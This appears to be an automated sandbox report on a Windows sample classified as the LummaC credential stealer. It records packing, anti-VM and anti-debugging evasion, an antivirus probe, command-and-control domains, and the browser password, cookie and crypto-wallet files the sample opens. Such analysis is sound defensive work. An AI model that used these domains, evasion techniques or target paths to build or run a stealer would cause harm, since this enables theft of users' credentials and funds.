Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: un30brGAKP.exe	Static PE information: Section: ZLIB complexity 0.9986906828703703
Source: un30brGAKP.exe	Static PE information: Section: ZLIB complexity 0.9983915441176471
Source: un30brGAKP.exe	Static PE information: Section: .data ZLIB complexity 0.9972664755715841

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\un30brGAKP.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\Desktop\un30brGAKP.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: un30brGAKP.exe, 00000000.00000003.1695560371.00000000044D1000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1683813394.0000000004507000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: un30brGAKP.exe	Virustotal: Detection: 76%
Source: un30brGAKP.exe	ReversingLabs: Detection: 78%

Source: C:\Users\user\Desktop\un30brGAKP.exe

File read: C:\Users\user\Desktop\un30brGAKP.exe

Jump to behavior

Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: un30brGAKP.exe

Static file information: File size 1283584 > 1048576

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\un30brGAKP.exe

Unpacked PE file: 0.2.un30brGAKP.exe.d80000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;

Source: un30brGAKP.exe	Static PE information: section name:
Source: un30brGAKP.exe	Static PE information: section name:
Source: un30brGAKP.exe	Static PE information: section name:
Source: un30brGAKP.exe	Static PE information: section name:
Source: un30brGAKP.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E789C4 push 00E78A51h; ret	0_2_00E78A49
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00EC40E8 push 00EC4114h; ret	0_2_00EC410C
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00EAA0E0 push 00EAA1A6h; ret	0_2_00EAA19E
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E960D0 push 00E960FCh; ret	0_2_00E960F4
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00F3E0BC push 00F3E12Bh; ret	0_2_00F3E123
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00DFE088 push 00DFE0CBh; ret	0_2_00DFE0C3
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00EC408C push 00EC40C4h; ret	0_2_00EC40BC
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2A080 push 00E2A145h; ret	0_2_00E2A13D
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E9A070 push 00E9A09Ch; ret	0_2_00E9A094
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E3A078 push 00E3A0D1h; ret	0_2_00E3A0C9
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00F3E1E4 push 00F3E210h; ret	0_2_00F3E208
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2A1FC push 00E2A228h; ret	0_2_00E2A220
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2A1C4 push 00E2A1F0h; ret	0_2_00E2A1E8
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E801B4 push 00E801E0h; ret	0_2_00E801D8
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00F3E1AC push 00F3E1D8h; ret	0_2_00F3E1D0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E8618C push 00E861B8h; ret	0_2_00E861B0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00EA8180 push 00EA81ACh; ret	0_2_00EA81A4
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E6E190 push ecx; mov dword ptr [esp], ecx	0_2_00E6E194
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2A164 push 00E2A190h; ret	0_2_00E2A188
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00F3E174 push 00F3E1A0h; ret	0_2_00F3E198
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00EA8148 push 00EA8174h; ret	0_2_00EA816C
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00F3E13C push 00F3E168h; ret	0_2_00F3E160
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00DF2104 push ecx; mov dword ptr [esp], edx	0_2_00DF2109
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00EA8110 push 00EA813Ch; ret	0_2_00EA8134
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00EA4114 push 00EA4140h; ret	0_2_00EA4138
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00F3E2FC push 00F3E328h; ret	0_2_00F3E320
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2A2CC push 00E2A2F8h; ret	0_2_00E2A2F0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E042D0 push 00E042FCh; ret	0_2_00E042F4
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00F3E2C4 push 00F3E2F0h; ret	0_2_00F3E2E8
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E042A0 push 00E042CDh; ret	0_2_00E042C5
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2C2B4 push 00E2C2F4h; ret	0_2_00E2C2EC

Source: un30brGAKP.exe	Static PE information: section name: entropy: 7.997961619008951
Source: un30brGAKP.exe	Static PE information: section name: entropy: 7.843220250000753
Source: un30brGAKP.exe	Static PE information: section name: entropy: 7.935638020902636
Source: un30brGAKP.exe	Static PE information: section name: entropy: 7.975431034755942
Source: un30brGAKP.exe	Static PE information: section name: .data entropy: 7.985309646585309

Source: C:\Users\user\Desktop\un30brGAKP.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\un30brGAKP.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\un30brGAKP.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\un30brGAKP.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\un30brGAKP.exe	Window / User API: threadDelayed 448	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Window / User API: threadDelayed 3022	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Window / User API: threadDelayed 1585	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Window / User API: threadDelayed 2791	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Window / User API: threadDelayed 1376	Jump to behavior

Source: C:\Users\user\Desktop\un30brGAKP.exe TID: 6836	Thread sleep count: 448 > 30	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe TID: 3444	Thread sleep count: 3022 > 30	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe TID: 3444	Thread sleep time: -3022000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe TID: 3992	Thread sleep count: 1585 > 30	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe TID: 3992	Thread sleep time: -1585000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe TID: 5672	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe TID: 2492	Thread sleep count: 2791 > 30	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe TID: 3444	Thread sleep count: 1376 > 30	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe TID: 3444	Thread sleep time: -1376000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\un30brGAKP.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\un30brGAKP.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\un30brGAKP.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\un30brGAKP.exe

Code function: 0_2_00E03490 FindFirstFileW,

0_2_00E03490

Source: un30brGAKP.exe, 00000000.00000002.4123069189.00000000015DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: un30brGAKP.exe, 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VBoxService.exe
Source: un30brGAKP.exe, 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: un30brGAKP.exe, 00000000.00000003.2310340504.000000000163D000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000002.4123251276.0000000001640000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.2310454788.000000000163D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: un30brGAKP.exe, 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: un30brGAKP.exe, 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VMWare
Source: un30brGAKP.exe, 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: un30brGAKP.exe, 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: &VBoxService.exe

Source: C:\Users\user\Desktop\un30brGAKP.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\un30brGAKP.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	Thread information set: HideFromDebugger			Jump to behavior

Source: C:\Users\user\Desktop\un30brGAKP.exe

Code function: 0_2_00DBCCA0 LdrInitializeThunk,

0_2_00DBCCA0

Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_03498024 mov eax, dword ptr fs:[00000030h]		0_2_03498024
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_03497E70 mov eax, dword ptr fs:[00000030h]		0_2_03497E70

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: un30brGAKP.exe	String found in binary or memory: cloudewahsj.shop
Source: un30brGAKP.exe	String found in binary or memory: noisycuttej.shop
Source: un30brGAKP.exe	String found in binary or memory: rabidcowse.shop
Source: un30brGAKP.exe	String found in binary or memory: framekgirus.shop
Source: un30brGAKP.exe	String found in binary or memory: tirepublicerj.shop
Source: un30brGAKP.exe	String found in binary or memory: abruptyopsn.shop
Source: un30brGAKP.exe	String found in binary or memory: wholersorie.shop
Source: un30brGAKP.exe	String found in binary or memory: impossiblekdo.click
Source: un30brGAKP.exe	String found in binary or memory: nearycrepso.shop

Source: C:\Users\user\Desktop\un30brGAKP.exe

Code function: 0_2_00E88268 cpuid

0_2_00E88268

Source: C:\Users\user\Desktop\un30brGAKP.exe

Code function: RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,GetLocaleInfoA,

0_2_00F3A208

Source: C:\Users\user\Desktop\un30brGAKP.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\un30brGAKP.exe

Code function: 0_2_00DE2958 GetLocalTime,

0_2_00DE2958

Source: C:\Users\user\Desktop\un30brGAKP.exe

Code function: 0_2_00E29CC0 GetTimeZoneInformation,

0_2_00E29CC0

Source: un30brGAKP.exe, 00000000.00000003.1744172653.00000000016A0000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1744199353.00000000016A7000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\un30brGAKP.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: un30brGAKP.exe PID: 6868, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: un30brGAKP.exe, 00000000.00000003.2310454788.0000000001667000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: un30brGAKP.exe, 00000000.00000003.2310454788.0000000001667000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: un30brGAKP.exe, 00000000.00000003.2310454788.0000000001667000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: un30brGAKP.exe, 00000000.00000003.1739382466.0000000001695000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "ez":"Jaxx Liberty"},{"en":"fihkakfobkmkjojpchpfgcmhfjnmnfpi","ez":"BitApp"}t
Source: un30brGAKP.exe, 00000000.00000003.2310340504.000000000163D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: un30brGAKP.exe, 00000000.00000003.2310454788.0000000001667000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: un30brGAKP.exe, 00000000.00000003.1960479286.000000000168B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\un30brGAKP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
